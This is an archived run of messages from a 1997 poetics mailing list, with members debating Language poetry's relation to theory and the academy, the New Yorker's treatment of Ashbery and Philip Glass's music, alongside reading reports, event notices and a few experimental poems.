I am sorry to have taken so long to inform you about the status of our search for a full professor. The search continues, and I am writing to ask whether you still wish to be considered for the position. You are one of a dozen applicants remaining on our list, so I hope you are still interested. In the Fall MLA Job Information List we will advertise the position again, but we are opening the search to associate professors. We hope to compile a short list by the end of the calendar year.

___
I told them that, while it would certainly be interesting to be part of
such an unusual process, I would decline.

_____

part of the problem I've seen in the recent discussions of "which came first" regarding "theory" and certain theoreticllay inclined poetries has been the foreshortened perspective -- take a gander at this:

"there is no world of objects which antedates the experiences of any individual. All perceptual objects . . . are integrations of contact and distance experience, achieved through a process which began as practical or organic and became theoretical when the practical act was inhibited."

This is not a Francophone academic writing -- It was published in 1945, and today's whiz kid award goes to the first listomaniac to identify the American philospher whose position is here described --

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308. Michael Magee
Re: instance of Ashbery/Nyer influence
Thu 10 Jul 1997

I don't know about the hypothesis that the Nyer has "mainstreamed" or "ok'd" Ashbery, mainly because, with a few exceptions, Ashbery being one, the Nyer's poetry editor sucks. I don't know of a repectable magazine that publishes a higher percentage of truly vapid poems - somehow Tina Brown has managed to update/upgrade the rest of the mag without bringing the poetry along for the ride. I'd rather see a years worth of poems by Tupac in there than what they're currently dishing out. So, yeah, I suppose it lends a certain respectability to Ashbery among a certain constituency, but not among many poets or serious poetry readers. -m.

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309. **Aldon L. Nielsen**
Re: "LANPO"?
Thu 10 Jul 1997

read that in my previous as either a typo or a reference to poetry distributed over Local Area Networks --

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310. **David Erben (Art)**
Re: Langpo and the ory
Thu 10 Jul 1997

On Thu, 10 Jul 1997, Douglas Barbour wrote:

> *I do know this: more big publishers publish books on contemporary theory than publish books of contemporary poetry...*

I hope some people on the list can provide more info about publishing. It is my understanding that print runs of academic texts are "typically" 500 copies and that those runs almost never sell out. If a theoreticl text does "take off" it usually means it is being adopted for classroom use at a goodly number of schools - that's the market, yes, for theoretical texts (and for most "literary" texts as well)? This is, perhaps, why you see all sorts of theoretical collections coming out all the time, including texts of "primary" works with secondary criticism (I'm thinking here of the series that's out that provides different theoretical readings of literary works, e.g. *Heart of Darkness* collected with feminist, New Historical, Decon, Psych readings of it) - as authors and publishers try and keep current and sell books for class adoption. Now contemporary poetry - I don't know who the target audience would be for a "big publisher"?? Sheesh, don't Romance Novels, self-help books, New Age books, horror books ... sell a zillion times more than than contemporary poetry and contemporary theory combined?

I guess the big question is what do we learn when we compare publishing trends? What does it mean that Stephen King sells so many books and has so many films made from his books - btw, I use the phrase "so many books" with caution. To be a best seller in this country how many books do you have to sell? It's a very small number, compared to the population, yes?

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311. **Mark Weiss**
Re: instance of Ashbery
Thu 10 Jul 1997

. deemed something of a laughingstock
>(rather as John Cage was -- or for that matter, Phillip Glass till
>at least the mid-'80s) in highbrow circles. .
.>

Phillip Glass is still deemed a laughing-stock by most serious musicians (I can hear the brickbats flying already.

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312. **Ryan Whyte**
brood
Thu 10 Jul 1997

---

poem with images at

http://www.freenet.edmonton.ab.ca/~rwhyte/brood.html

Thanks!

Ryan

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[redacted]

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313. **Jacques Debrot**
Re: Langpo and the academy
Thu 10 Jul 1997

Of course Language writing is as much an argument against (de Man) as it is a collusion with poststructuralism (say, in the work of Althusser). Moreover, it strikes me that the term "academic poetry" as an implied or explicit description of Language writing is pejorative and/or confusing given its already strong association with New Critical poetry. Nor does the prevalance of certain aspects of critical theory on American campuses necessarily translate into the dominance - or even the acceptance - of a specific poststructuralist aestheic practice - either that explored in various ways by the Language school, or any other.

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314. **Robert Hale**
Re: Acadominatrix
Thu 10 Jul 1997

John Dewey

At 09:23 AM 7/10/97 -0700, you wrote:
>My problem with "acadmoninant" is unrelated to whether it is thought to be
>a compliment or a pejorative -- Seemed to me such a term should either
>mean a poetry dominated by academics (or by the academic) -- or a poetry
>that is dominant in the academy -- Clearly neither is true of any
>iteration of LANPO one might care to describe ("My favorite definition
>still the one offered nearly a deacde ago by Ron Silliman, to the effect
>that a language poet is anyone who has evern been accused of being a
>language poet) --
>
>The MIT is to whatever as Buffalo is to the rest won't work for anybody
>familiar with academic pecking orders --
>
>and it certainly does make a difference which vantage point one chooses
>from which to view the academy -- I suppose LANPO might appear
>acadmoninant to anybody visiting Buffalo for a weekend (though it didn't
>to me) -- but out where the vast majority of teaching is done in this
>country things couldn't look more different --
>
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>as to how the pcking order maintains itself impeccably, I here reproduce a
>letter recently received from a West Coast academy -- since I already have
>a good job I am able to find this amusing:
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>Dear Dr. Nielsen:
>
>I am sorry to have taken so long to inform you about the status of our
>search for a full professor. The search continues, and I am writing to
>ask whether you still wish to be considered for the position. You are one
>of a dozen applicants remaining on our list, so I hope you are still
>interested. In the Fall MLA Job Information List we will advertise the
>position again, but we are opening the search to associate professors. We
>hope to compile a short list by the end of the calendar year.
>
>
>___
>I told them that, while it would certainly be interesting to be part of

>such an unusual process, I would decline.
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>_____
>
>part of the problem I've seen in the recent discussions of "which came
>first" regarding "theory" and certain theoreticllay inclined poetries has
>been the foreshortened perspective -- take a gander at this:
>
>"there is no world of objects which antedates the experiences of any
>individual. All perceptual objects . . . are integrations of contact and
>distance experience, achieved through a process which began as practical
>or organic and became theoretical when the practical act was inhibited."
>
>This is not a Francophone academic writing -- It was published in 1945,
>and today's whiz kid award goes to the first listomaniac to identify the
>American philospher whose position is here described --
>
>

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315. **Mark Wallace**

Hank Lazer's OPPOSING POETRIES and "academic ideas"

Thu 10 Jul 1997

Seeing Hank Lazer's name appear on the poetics list several times yesterday reminds me that I've been curious about the fact that though there's been a lot of recent discussion about Bob Perelman's THE MARGINALIZATION OF POETRY, I haven't seen much talk about Hank's double volume of criticism on language poetry and related matters, OPPOSING POETRIES. It makes, I think, for a crucial read on the subject that's come up recently about the relation between language poetry and the academy, and language poetry and theory. I've read no recent volume of criticism that seems to me as SPECIFIC as Hank's book about the differences between the academic "network" (if you will) and the "network" (loosely and not) of poets associated with language poetry. While it is fairly clearly targeted towards an academic context, OPPOSING POETRIES insists on the DIFFERENCES that are at stake in making a place for language poetry inside the academic world (and not solely there, of course). I think he also delineates pretty carefully where language poetry is related to literary theory, and where it differs from it--he shows why language poetry can by no means be reduced to "literary theory by some other means."

In any case, I don't think one ought to be too quick to collapse distinctions between terms such as "academic discourse," "literary theory," "language

poetry" and the like. There are many types of discourse that are not literary theory. There are many types of literary theory which are not academic discourse. Neither one of them refers to a single kind of activity anyway, and all of them produce some interesting books, and perhaps more often less interesting ones. "Language poetry" itself intersects with both these possibilities--there are some academic books about it, there are some "language poets" who took a lot from French literary theory, and others who took less from it. Actually I've seen some "language poets" be rather xenophobically American, at least in conversation, far more likely to put forward Stein or Williams than Derrida.

I find myself fairly skeptical about claims that this or that theory, this or that school of poetry, can be called in any simple sense "dominant in the academy." My own sense is that the disciplinary strategies by which academic departments and careers are shaped, ALWAYS these days takes precedence over any particular "literary" or "theoretical" approach--most approaches sooner or later get some piece of the bureaucratic distribution of the department, and that's where it stops. What's dominant is MONEY and BUREAUCRATIC organization, and while there are many fine theorists and poets who work in academic contexts, the specifics of what they think are much less important to university organization than the fact that the organization can seem to "cover" and "have an expert in" as many "relevant" areas as possible. The traditional Milton scholar may have disdain for the new scholar of subaltern studies, and the new scholar of subaltern studies may find the old Milton scholar intolerably hegemonic. But they are both still dealing with IDEAS, whereas the bureaucracy that they are a part of has only a secondary concern (if that) with IDEAS. What a university bureaucracy cares about is the organization of those ideas in ways that make financial "sense" as they see it. Ideas are the commodity that the university sells. It is the SELLING that is dominant. When something no longer appears to sell to enough people, it will disappear sooner or later from the academic marketplace. How many universities no longer have a classics department, for instance, or teach even a single class in how to read ancient Greek? And if you think you're sticking around because your own discourse is more crucial than those, I'm not sure you don't have a big surprise coming.

In short, I'm not sure I don't find this stuff about "dominant academic ideas" almost to be a kind of whimsical nostalgia for a world that never existed in the first place. The only dominant ideas I'm aware of have very little to do with literature at all.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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316. **Alan * Sondheim**
(no subject)
Thu 10 Jul 1997

--+++--

Jealous of other theory, of the difficulty with theory, I proceed with fear, with care, delineating/inscribing a territory I can call my own. This is the only work I do comfortably; my life _elsewhere_ is a matter of confusion, and anxiety that leaves me sleepless. I am well aware of the fragility of theory, its past-anterior ex-formation which slots it back into the death constituted as a movement or firm rec oject these texts as a wager, al- ways alre earing further dis- location, although i his is coupled with absolute exclusion f happy, or rather po- ssessed with the abi ness, when I am writ- ing on-line, with th _further_ mail I await which shall foreclos fact in read that _other_ theory which my own. I would state that such forestalli any would be bearable, that it would carry nings of narrative, that I would, for on rocesses of _survival_ itself, but instead granted, over a space or interval - a _gap s desire. In place of this, in _lieu,_ I f e absence of a tomb, wearing the needed shroud of death and immobility. I do not want to watch. I don't want to watch the decay of these words, epitaph as they are, the worn-out of the world, carapace or skin sloughed to the bone. I want to die when Jennifer dies. Jennifer wants to die when Julu dies. These are moments of little purport, but they present the world, and not only that: They are the world's pillars, without which nothing would survive.

of all quaint language, what is
uperation. So that I tend to pr
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t were only a matter of time. T
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lity to defer thoughts of happi
e potential for new mail, that
e pain, emptiness, allow me in
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ng in the pleasure of your comp

the seeds of love and the begin
ce, no longer worry about the p
take _this body, this mind_ for
_ that opens both to the world'
ind myself doubled, lost for th

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317. **Pritchett,Pat**

Re: Readings, Shmeadings

Thu 10 Jul 1997

Stop me if you heard this one before...

Tuesday at Naropa:

Cassandra Terman began the evening by reading from her work and I have to confess that I was not as drawn to her poetry as much as I've been to that of others in this series. Her poems worked in the vein of personal observation of the world - that is to say, they tended to *be about* something, rather than *being* something in themselves. Given that, they offered some nuanced attentions to both the natural world and the quotidian moods of the psyche. "What a blessing to be stripped of the burden of meaning..." "We travel in a language of syllables and antelopes..."

Kristen Prevallet (who gets my vote for coolest shoes of the Summer Writing Program) read next from _Perturbation, My Sister_, a re-collaging of a Max Ernst collage the title of which unfortunately escapes me now. "Magnificent parrots that will die at the sight of light..." Though I'm unfamiliar with the original, what impressed me about these poems was the way in which Prevallet stood Ernst's obviously wild surreal collages on their head to effect sleights-of-hand that were not only playful and fecund, but full of sly amusements. Ernst's obessions became Prevallet's comedies (and perhaps vice-versa as well). "To connect the project of building to the possibility of touching the sky." "Lead, Glass, Poppy" was her take on the apocalypse as a media event, recombining images of news stories that ranged from warfare, archeaology, cult suicide, suburban child murders and the history of displacement - "Pick this up and explode."

Lisa Jarnot closed the evening and may be fairly said, I think, to have caused a real stir, at least judging from various comments overheard afterwards. (Could Naropa be the Cannes of the poetry circuit? O Marcello, O papparazi, where are you?) Jarnot read from _Some Other Kind of Mission_ and from newer work. Her poems defy easy excerpting since their procedures are so concerned with

repetition, overlap and a kind of echolalia. The method is both encyclopedic (seemingly) and precise, which is to say, exclusionary. A poetry of disjunction, cagey wit, and circular rhythms, in which perception is a conjoining of disruptions and clarity is conferred through a series of confusions. (That's what I scribbled in my notebook anyway...) All of this delivered in a lowkey, unemphatic, sometimes deadpan pitch that at times took on the characteristics, the hue (and rue) of a litany of the obtuse and recalcitrant *things* (read: words) with which we stock our lives. Dazzling.

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318. **Matthias Regan**

Re: Langpo and the ory

Thu 10 Jul 1997

I am sorting through these various postings about theory and language poetry and wishing I could respond at greater length and also more specifically.

Jordan: thank you for your response, I wish I had in front of me. I think your solution -- to ask one or more poets from a list of excellent ones is the way to go. Ideally I'd ask all those poets and then ask a bunch of theorists as well and see where their answers overlap. I'm not surprised Jonathan Culler hasn't read Olsen, Creeley, if only because such study of contemporary poets must itself be symptomatic of postmodern tendencies in thought. Is it a response to a "surplus of signifiers" that we (I, at least) feel compelled to scurry about investigating the work of contemporary (or very near contemporary) writers? Has post-industrial capitalism encouraged us to forget the past to such a degree? Perhaps not: I don't know! Right from the start I was always most interested in contemporary writers. Its interesting to me that people keep bringing up Derrida (Douglas B. mentions him, and others have in postings earlier this week--is he being used as a signifier for a larger group of theorists or are people referring specifically to his work, and if so which essays, which books? (I confess, I've read relatively little by Derrida, which might be why I am about to potentially undervalue his influence on Langpo.) I would guess that for many of the US poets of the 50's - 70's (Black Mountain School, New York School, da Beats) much of the critical work got into the bloodstream through a previous generation (half generation) of poets (Williams, Pound, who get their theory direct from the novelists and poets who generated the historical conditions from which Tel Qel (sp?) sprang) and painters (I'm thinking of the O'hara connection, Motherwell et al.). Then in the 70's - 90's, I'd reckon, but I'm guessing, you start to get a lot more poets with PhD's and much more directly influenced by literary theory. Most of the influence was no doubt pretty reactionary, but that seems to have been a peculiarity of US academics at least since 1913, if not since the Adams & Jefferson tapes.

Jacques Debrot writes:

"Of course Language writing is as much an argument against (de Man) as it is a collusion with poststructuralism (say, in the work of Althusser).... Nor does the prevalence of certain aspects of critical theory on American campuses necessarily translate into the dominance - or even the acceptance - of a specific post-structuralist aestheic practice - either that explored in various ways by the Language school, or any other."

Totally true. And perhaps a case can be made for de Man being more influential--though probably less directly than poststructuralists--on contemporary poets in general...? I have focused on poststructuralism because at the heart of my query is a desire to see how and where structuralist linguistic theory translates into poetry--is adopted by the poets themselves. Nor does the predominance of some theory necessarily translate into a certain practice--but does it translate into any practice at all? And whose practice? And how directly thought-out is it?

Matthias

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319. cris cheek
research / - neologism?
Thu 10 Jul 1997

Hi, (sorry about cross-posting, that's part of it)

I'm thinking about writing something extended on 'neologism'

in which respect a few leading questions:

- anybody have any references they can point me to?
- what political / social imperatives and ideologies drive 'neologism' today?
- what would you cite as examples of contemporary 'neologism'?

grateful for anything on this
backchannel or up on the list for discussion

love and love
cris

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320. **Pritchett,Pat**
Re: instance of Ashbery
Thu 10 Jul 1997

The appearance of the acceptance of the marginal (i.e. the threatening) by the mainstream often falls under the heading of "neutralization by assimilation" or as James Agee put it "the emasculation of acceptance" but since Dodie Bellamy rightly pointed out the gender bias of that term, call it instead "the defanging of acceptance."

Tina Brown has certainly affected a turnaround at The New Yorker, mainly by pumping up the number of fashion ads and filling its pages with English writers, but as I understand it, the magazine still operates at an annual deficit of $10 million. Charles Bernstein addresses some of the economic dynamics at work in America's various poetry cultures in his essay "How Poetry Works." (May be where I got that ten mill figure...). I agree with Michael Magee about the egregiousness of poetry Alice Quinn publishes, though I remain a shamelessly devoted reader of the mag. We can't look to Tina Brown to push the poetic envelope. I don't see the New Yorker occupying any position of cultural centrality - those days are closing fast - except in its editors minds. And I don't think "broadness" can be equated with "influential," David - just the opposite. Only look at the cartoons - they're rife with "mene, mene, tekel, uparshin" (sic) - this is urban East Coast culture, ironically and anxiously aware of its impending dissolution.

in love with the rhetoric of apocalypse,
Patrick Pritchett

From: David R. Israel
To: POETICS
Subject: instance of Ashbery
Date: Thursday, July 10, 1997 3:17PM

To what extent is the influence of the New Yorker "responsible for" (used advisedly) the "Ashbery is okay" phenomenon, I wonder?

The number of poets whose work appears in the New Yorker is (I think) pretty small -- and of those whom that magazine publishes, there are a select handful whose poems tend to appear again & again thru the years (including several I like a lot -- e.g., Ashbery, Mewin, Simic).

The New Yorker's role / status in broad American culture is, it could be argued, unique. For one thing, it has (if I'm not mistaken) far and away the vastest circulation of ANY "serious literary" publication in the country (or -- heck -- the world); & it's a weekly = Ubiquitous.

Acceptance by that mag as one of a few dozen whose poems they'll oftentimes carry upwards of half a dozen times per year, seems a seal of approval for a fairly broad & influential hub of the culture.

There are (naturally) *many* other elements in the Ashbery-in-America phenom -- one being (simply) the long tenure of his contribution. Heck, even Ginsberg gets flower petals, eventually. As I understand it (I wasn't around in those days), for a long time, Ashbery was severely criticized & ridiculed & deemed something of a laughingstock (rather as John Cage was -- or for that matter, Phillip Glass till at least the mid-'80s) in highbrow circles. Eventually, the court jester gets a cabinet post, natch: the stone that's rejected (but establishes a strong name), becomes the corner stone. If you're part of the dialogue, doesn't matter too much if the press is good or bad.

As said, just a thought (or thought & a half).

best,
d.i.

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{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
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321. Aldon L. Nielsen
Re: New York events
Thu 10 Jul 1997

sorry I didn't think to post this info. sooner --

The C.L.R. James Institute is hosting a series of informal discussions -- the remaining events are as follows:

Tuesday July 15
At Quayson
"Colonial Discourse Analysis and the Question of History"

Ato Quayson is a fellow of Pembroke College, Cambridge

Wednesday July 23 Jim Murray and Brett St. Louis "The Old Guard and the New: Bridges, Boundaries, and Gaps in Current James Studies" a discussion of two new books: Tony Bogues's _Caliban's Freedom: The Early Political Thought of C.L.R. James_ and Aldon Nielsen's _C.L.R. James: A Critical Introduction_

Brett St. Louis is a PhD candidate at Southamptn University, UK Jim Murray is the Director of the C.L.R. james Institute

Wednesday July 30

Brett St. Louis
"Differentiation and Convergence: C.L.R. James, Black Studies and Critical Reflexivity"

all events are at 7:00 P.M. at
The C.L.R. James Institute
505 West End Avenue
#15C
New York (northwest corner of 84th St. -- Broadway local 1/9 to 86th)

It says here that you should call if you're coming, as seating is limited Phone # = [redacted]

affiliated with the African Studies Centre, University of Cambridge

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322. Robert Kendall

Re: "Writing between the lines"

Thu 10 Jul 1997

Charles Alexander:

> *I dont know, but I don't much like it. I was glad to find out later, as an adult, that it was perfectly fine as a child using crayons to color through, over, and all about the lines. I know this isn't what you mean, but the phrase you suggest raises all kinds of questions: what lines, why between, etc.*
>
> *charles*
>
> *At 01:38 PM 7/9/97 -0700, you wrote:*
> *Does anyone know if the formulation "Poetry is the art of writing between the lines" has appeared in print anywhere?*
>
> *---*
> *Robert Kendall*

The reference is to "reading between the lines" rather than "coloring inside the lines."

Robert Kendall
e-mail: [redacted]
home page: http://www.wenet.net/~rkendall

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323. Joe Safdie
Re: The practical act
Thu 10 Jul 1997

Dear Dr. Nielsen:

I think Whitehead is British, not American, but if he's not, I vote for him. Unless it was Dewey. Henry would know.

I certainly applaud the notion of "perceptual objects" (and thereby the external world) only "[becoming] theoretical when the practical act was inhibited."

It's the tendency of certain aspects of "Cultural Studies" to deny the existence of an external world in toto that troubles my sleep.

Now, who said this?

"We all talk about poetry so abstractly because we all tend to be indifferent poets. At bottom the esthetic phenomenon is quite simple: all one needs in order to be a poet is the ability to have a lively action going on before one continually, to live surrounded by hosts of spirits."

Also a philosopher, not American. Prizes in the eye of the beholder.

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324. Joe Safdie
Re: Langpo and the academy
Thu 10 Jul 1997

On Thu, 10 Jul 1997, Jacques Debrot wrote:

Moreover,
> it strikes me that the term "academic poetry" as an implied or explicit
> description of Language writing is pejorative and/or confusing given its
> already strong association with New Critical poetry.

What is the antecedent of the pronoun "its" in this sentence?

Are you saying that the "already strong association" is, in fact, valid?

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325. **Robert Hale**
FORGET ASHBURY/FORGET THE NEW YORKER
Thu 10 Jul 1997

FORGET ASHBURY
FORGET THE NEW YORKER

At 03:47 PM 7/10/97 -0500, you wrote:
>The appearance of the acceptance of the marginal (i.e. the threatening) by
>the mainstream often falls under the heading of "neutralization by
>assimilation" or as James Agee put it "the emasculation of acceptance" but
>since Dodie Bellamy rightly pointed out the gender bias of that term, call
>it instead "the defanging of acceptance."
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>Tina Brown has certainly affected a turnaround at The New Yorker, mainly by
>pumping up the number of fashion ads and filling its pages with English
>writers, but as I understand it, the magazine still operates at an annual
>deficit of $10 million. Charles Bernstein addresses some of the economic
>dynamics at work in America's various poetry cultures in his essay "How
>Poetry Works." (May be where I got that ten mill figure...). I agree with
>Michael Magee about the egregiousness of poetry Alice Quinn publishes,
>though I remain a shamelessly devoted reader of the mag. We can't look to
>Tina Brown to push the poetic envelope. I don't see the New Yorker
>occupying any position of cultural centrality - those days are closing fast
> - except in its editors minds. And I don't think "broadness" can be equated
>with "influential," David - just the opposite. Only look at the cartoons -
>they're rife with "mene, mene, tekel, uparshin" (sic) - this is urban East
>Coast culture, ironically and anxiously aware of its impending dissolution.
>
>in love with the rhetoric of apocalypse,
>Patrick Pritchett
> ----------
>From: David R. Israel
>To: POETICS
>Subject: instance of Ashbery
>Date: Thursday, July 10, 1997 3:17PM
>
>
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>select handful whose poems tend to appear again & again thru the
>years (including several I like a lot -- e.g., Ashbery, Mewin, Simic).
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>The New Yorker's role / status in broad American culture is, it could
>be argued, unique. For one thing, it has (if I'm not mistaken) far and
>away the vastest circulation of ANY "serious literary" publication in
>the country (or -- heck -- the world); & it's a weekly = Ubiquitous.
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>Acceptance by that mag as one of a few dozen whose poems they'll
>oftentimes carry upwards of half a dozen times per year, seems a seal
>of approval for a fairly broad & influential hub of the culture.
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>it (I wasn't around in those days), for a long time, Ashbery was
>severely criticized & ridiculed & deemed something of a laughingstock
>(rather as John Cage was -- or for that matter, Phillip Glass till
>at least the mid-'80s) in highbrow circles. Eventually, the court
>jester gets a cabinet post, natch: the stone that's rejected (but
>establishes a strong name), becomes the corner stone. If you're part
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>| "...honk if you believe in geese" |
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326. **Bennett M. Sm [Dimpson**

Re: Langpo and the ory

Thu 10 Jul 1997

The question are tangle. What is at stake in pursuing the "language"/"theory" rapport? Is this a historical probing? Have we moved so far after the fact of the moment that we can now begin tracing influences, genealogies, royalties? I don't know (everything always feels like its just beginning when you're late, until you realize the reconnaisance (spp) your doing is really only archive work -- then you fix a cold juice drink). Is it important to set in stone, ink, eggwhite, the exact dates, matches and teams? Was Sartre responsible for Action Painting? Did Wittgenstein cause Joseph Kosuth? James, Stein? Maybe I'm muddling it here, but the notion that language writing is indebted to or engendered by French philosophy feels restrictive, -ted, -ting. Everybody is around by the same tray of books. Everybody

is on the clock. Why are similarities, preoccupations (and not to diminish the intent of the authors involved, WHAT ABOUT ZEITGEIST, oh) triggers, paper tigers, and not time shares (I admit, I'm apt to reduce distintions to friviolity, perks, where is raul ruiz?? we're on to re-runs.)
Theory is important.
Poetry is more important (to me).
Sometimes they meet and hold hands
for a movie.

What kinds of questions are asking? ANd for what reasons?

jittery,

Bennett.

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

327. **David R. Israel**
the JD phenomenon
Thu 10 Jul 1997

Borrowing a page from Eliza McGrand, couldn't help but note

> Jacques Debrot
cf.
Jacques Derrida
Jordan Davis
John Dewey
James Dean

what with DBs & JDs, how thematized are our variations. We get our just deserts. (What ya get from law school.)

d.i.

p.s.: back on the DB trail --

seen on bathroom wall in Life Sciences Building, UC Berkeley (circa late '70s):

```
|  To be is to do
|                 Plato
|  To do is to be
|                 Sartre
|  Do be do be do
|                 Sinatra
```

d.i.

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328. **Mark Weiss**
Re: instance of Ashbery
Thu 10 Jul 1997

The Newyorker has never been urban eastcoast culture. Founded by a guy who was insecure about being from Kansas, it's always been centered in the fantasy culture of similar immigrants from points west with deprived childhoods. For many years its standards of selection have been whatever fits neatly between ads for stores on Madison Avenue without distracting attention too much from those ads. New York has always been about clamorous ethnic cultures. When the fleet of the future James II appropriated it from the Dutch there were already 18 languages in daily use. This reality rarely gets the attention of the Newyorker, except, perhaps, in snotty little pieces in The Talk of the Town; it certainly has little influence on the rag's own cultural attitudes. Ashberry's acceptance I think stems from two things: his Hamptons style, subject-matter and

diffidence and his currency in the higher-priced precincts of the art world. Another way of saying he walks the walk and goes to the right parties. None of which takes away one iota from his often splendid poetry.

At 03:47 PM 7/10/97 -0500, you wrote:
>The appearance of the acceptance of the marginal (i.e. the threatening) by
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>Michael Magee about the egregiousness of poetry Alice Quinn publishes,
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>years (including several I like a lot -- e.g., Ashbery, Mewin, Simic).
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>The New Yorker's role / status in broad American culture is, it could
>be argued, unique. For one thing, it has (if I'm not mistaken) far and
>away the vastest circulation of ANY "serious literary" publication in
>the country (or -- heck -- the world); & it's a weekly = Ubiquitous.
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>Acceptance by that mag as one of a few dozen whose poems they'll
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329. Poetics List
contemporary american poets (fwd)
Thu 10 Jul 1997

This message was sent to the listowner address. He has been added to the list as of 9:07pm Eastern Time.

---------- Forwarded message ----------
Date: Thu, 10 Jul 1997 16:52:23 -0500
From: rodrigo <[redacted]>
To: [redacted]
Subject: contemporary american poets

My name is Rodrigo Garcia Lopes, and I am a Brazilian poet and translator. Presently, I'm doing my PHD on contemporary poetry here in Brazil and focusing on the works of laura riding, lorine niedecker, and mina loy. I would like to know how can I get information about these poets. Is there any discussion groups on these names? Essays, commentaries, any help will be welcome. I also would like to know how can I participate in the poetics discussions. There's a new anthology of brazilian poetry that was recently released by sun & moon press that I would like to comment on.

Thank you very much for the help

Rodrigo I'm on line now and my e-mail is [redacted]

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330. Joseph Zitt
Re: instance of Ashbery
Thu 10 Jul 1997

Mark Weiss wrote:

> *Glass has made no inroads into the conservatories and virtually no one plays his music except his own ensemble.*

As I understand it, he hasn't published his scores for performance (except a very few) so that if people want to hear his material live (as, is obvious from his touring grosses, many do), they have to bring in his ensemble to do it. A smart financial move.

> *I have it in confidence from members of same who must remain nameless that they only play it because it's a gig.*

That's their problem.

> *Non-minimalist composers (I hung out with a lot of composers in NY) speak of*
> *Riley and Reich with respect; I've never heard the same in regard to Glass.*
> *Most consider him a pious fraud. Admittedly this is anecdotal.*

The ones with whom I hung out in New York (granted this was a decade age) were, indeed, quite bitter at Glass. It usually boiled down to his having figured out how to make a living at it.

> *It was harmonically and*
> *rhythmically uninteresting, consistently mannered, formulaic and predictable.*

I have heard the convincing theory that one finds most interesting the music whose changes that person can predict, at the level at which the person chooses to listen, about half the time. If you're listening to Glass expecting it to move harmonically and rhythmically as much other music does, you will be disappointed. Much of Glass's early work moves most interestingly on the note-to-note level and at the level of changes of rhythmic pattern.

If trying to sing along with the quick vocal patterns in "Einstein on the Beach" doesn't cure one of finding it rhythmically uninteresting, I would be surprised to hear that person claim to find rhythmic interest in anything.

> *On this last (I'll refrain from another attempt at creative spelling) an*
> *interesting story. My kid saw the film when he was about twenty, loved it,*
> *loved the music. So he got the album. He was genuinely mystified that when*
> *he listened without the visuals none of what he had thought was there was.*
> *He realized that it was background music. Try the experiment with any of the*
> *above-named efforts.*

I honestly don't know what you mean by this. To the extent that I do, it does not correlate at all with my own experience.

> *Also interesting--when the music is performed in concert (non-dramatic settings) one recognizes few members of the audience from concerts of non-minimalist non-top 40 western music. I would guess that few would have any idea who Elliot Carter is.*

Yup. And there's little crossover between fans of Metallica and Roberta Flack. You point is...?

> *If I plunk down the cost of concert-hall tickets*
> *and what I get is likeable noise I feel like I've been had.*

> *I don't like "likeable" poetry, either. If there's no challenge, nothing new to be learned, I don't go back for more.*

Some of us don't demand that every experience slap us upside the head. I've done music that confused and bored everyone, poetry that inspired audiences to run away in tears, and theatre that terrified the viewers. Been there, done that. I now like having audiences who find what I do pleasant.

Your attitude is that of someone who would send a restaurant dinner back because nothing tasted odd.

> *Is it clear that I don't like his music?*

Gee, I woulda never guessed! -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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331. Stephen C. Ellwood

LOST DOGS

Thu 10 Jul 1997

WE LOST ANOTHER ONE TODAY,

ONE OF GOD'S GIRLS NOW, AS IF SHE WASN'T GETTING

FUCKED BY HIM ALREADY. TWO YEARS YOUNGER THAN EMILY VEY

PUKE, A LITTLE BALLERINA AND SHE PLAIN

DIED. SHE WAS HOPING TO GET FAMOUS TOO. SHE WAS

AT DISNEYLAND WHEN IT HAPPENED, WITH THE MOM AND THE FATHER. ONE

MORE VOID FOR THE

BIG-DADDY GROIN. OKAY. SHE WAS A LITTLE GIRL-WOMAN. OKAY.

THEY TOLD HER SHE HAD TO TAKE OFF A FEW POUNDS AND SHE COMPLIED CAUSE WE

LEARN EARLY TO COMPLY AND THEN SHE DIED OF STARVATION.

(LISTEN)

↑ Index

332. **Mark Weiss**
Re: instance of Ashbery
Thu 10 Jul 1997

Music survives because musicians enjoy playing it, find it challenging, and pass it on to their students in the conservatories. We have Bach's music because Brahms and his friends, against popular opposition, played it, and it never stopped being taught. Glass has made no inroads into the conservatories and virtually no one plays his music except his own ensemble. I have it in confidence from members of same who must remain nameless that they only play it because it's a gig. Non-minimalist composers (I hung out with a lot of composers in NY) speak of Riley and Reich with respect; I've never heard the same in regard to Glass. Most consider him a pious fraud. Admittedly this is anecdotal. Myself, I always assume that there's value out there until I'm flattened with boredom--maybe I have to learn an idiom before I can hear its virtues. So I sat through, in person and on disk, Einstein, Satyagraha, The Photographer, and Koyanasquatchi (only partially intentional misspelling) before I decided to stop punishing myself. It was harmonically and rhythmically uninteresting, consistently mannered, formulaic and predictable. On this last (I'll refrain from another attempt at creative spelling) an interesting story. My kid saw the film when he was about twenty, loved it, loved the music. So he got the album. He was genuinely mystified that when he listened without the visuals none of what he had thought was there was. He realized that it was background music. Try the experiment with any of the above-named efforts. Also interesting--when the music is performed in concert (non-dramatic settings) one recognizes few members of the audience from concerts of non-minimalist non-top 40 western music. I would guess that few would have any idea who Elliot Carter is. The world is full of wallpaper music, even among "classics"--lots of 19th century ballet music, for instance, that survives only because dancers and audiences like the choreography. Myself, I like wallpaper music at noisy parties or in elevators. If I plunk down the cost of concert-hall tickets and what I get is likeable noise I feel like I've been had. I don't like "likeable" poetry, either. If there's no challenge, nothing new to be learned, I don't go back for more. Is it clear that I don't like his music?

At 12:36 PM 7/8/97 -0700, you wrote:
>At 10:13 AM 7/10/97 -0700, you wrote:
>>. deemed something of a laughingstock
>>>(rather as John Cage was -- or for that matter, Phillip Glass till
>>>at least the mid-'80s) in highbrow circles. .
>>.>
>>
>>Phillip Glass is still deemed a laughing-stock by most serious musicians (I

>>can hear the brickbats flying already.
>
>
>Mark, I don't expect this from you: please define, in the context above --
>"most"
>"serious"
>"musicians"
>I mean, he's not turned out to be, from work to work, one of my favorite
>composers, but there are some works by him I like, and I do think he merits
>respect -- does he really not get it?
>
>charles
>
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>handmade and trade editions of contemporary innovative writing
